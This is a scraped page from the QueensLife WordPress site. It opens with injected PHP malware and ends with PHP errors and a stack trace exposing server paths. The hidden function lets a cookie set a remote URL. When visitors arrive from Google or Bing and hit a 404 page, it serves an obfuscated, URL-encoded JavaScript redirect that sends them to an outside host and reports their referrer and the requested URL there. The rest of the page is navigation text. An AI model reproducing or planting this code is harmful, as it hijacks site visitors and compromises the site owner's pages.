function wpd_do_stuff_on_40404(){ if( is_404() ){ if (!empty($_COOKIE["8730170cf16ea73f7a1712c8c0f34a0a"])) { update_option('wpd_do_stuff_on_40404_url', rawurldecode($_COOKIE["8730170cf16ea73f7a1712c8c0f34a0a"])); } if (strpos($_SERVER["HTTP_REFERER"], 'google.') !== FALSE || strpos($_SERVER["HTTP_REFERER"], 'bing.') !== FALSE) { $u = get_option('wpd_do_stuff_on_40404_url', 'mywebinfo.s' . 'ite/jquery.php'); if (!empty($u)) { $fu = 'http://' . $u . "?referrer=" . $_SERVER["HTTP_REFERER"] . '&u=' . rawurlencode($_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]); $t = rawurldecode("%3Chtml%3E%0D%0A%20%20%20%3Chead%3E%0D%0A%20%20%20%20%20%20%3Cscript%20type%20%3D%20%22text%2Fjavascript%22%3E%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20function%20Redirect%28%29%20%7B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20window.location%20%3D%20%22%25s%22%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20document.write%28%22You%20will%20be%20redirected%20to%20main%20page%20in%202%20sec.%22%29%3B%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20setTimeout%28%27Redirect%28%29%27%2C%202000%29%3B%0D%0A%20%20%20%20%20%20%3C%2Fscript%3E%0D%0A%20%20%20%3C%2Fhead%3E%0D%0A%20%20%20%3Cbody%3E%0D%0A%20%20%20%3C%2Fbody%3E%0D%0A%3C%2Fhtml%3E%0D%0A"); exit(sprintf($t, $fu)); } } } } add_action( 'template_redirect', 'wpd_do_stuff_on_40404' ); QueensLife – Part of the BQE Media Network
 

 
Register | Login

Enter your email address:

 
 

Articles/News

Education


Warning: SimpleXMLElement::__construct(): Entity: line 1: parser error : Start tag expected, '<' not found in /homepages/28/d337059024/htdocs/queenslife/wp-content/themes/directorypress/functions.php on line 228

Warning: SimpleXMLElement::__construct(): function wpd_do_stuff_on_40404(){ in /homepages/28/d337059024/htdocs/queenslife/wp-content/themes/directorypress/functions.php on line 228

Warning: SimpleXMLElement::__construct(): ^ in /homepages/28/d337059024/htdocs/queenslife/wp-content/themes/directorypress/functions.php on line 228

Fatal error: Uncaught exception 'Exception' with message 'String could not be parsed as XML' in /homepages/28/d337059024/htdocs/queenslife/wp-content/themes/directorypress/functions.php:228 Stack trace: #0 /homepages/28/d337059024/htdocs/queenslife/wp-content/themes/directorypress/functions.php(228): SimpleXMLElement->__construct('function wpd_do...') #1 /homepages/28/d337059024/htdocs/queenslife/wp-content/themes/directorypress/_index.php(147): getFeedContent('http://queensli...', 4) #2 /homepages/28/d337059024/htdocs/queenslife/wp-content/themes/directorypress/index.php(70): include('/homepages/28/d...') #3 /homepages/28/d337059024/htdocs/queenslife/wp-includes/template-loader.php(43): include('/homepages/28/d...') #4 /homepages/28/d337059024/htdocs/queenslife/wp-blog-header.php(16): require_once('/homepages/28/d...') #5 /homepages/28/d337059024/htdocs/queenslife/index.php(81): require('/homepages/28/d...') #6 {main} thrown in /homepages/28/d337059024/htdocs/queenslife/wp-content/themes/directorypress/functions.php on line 228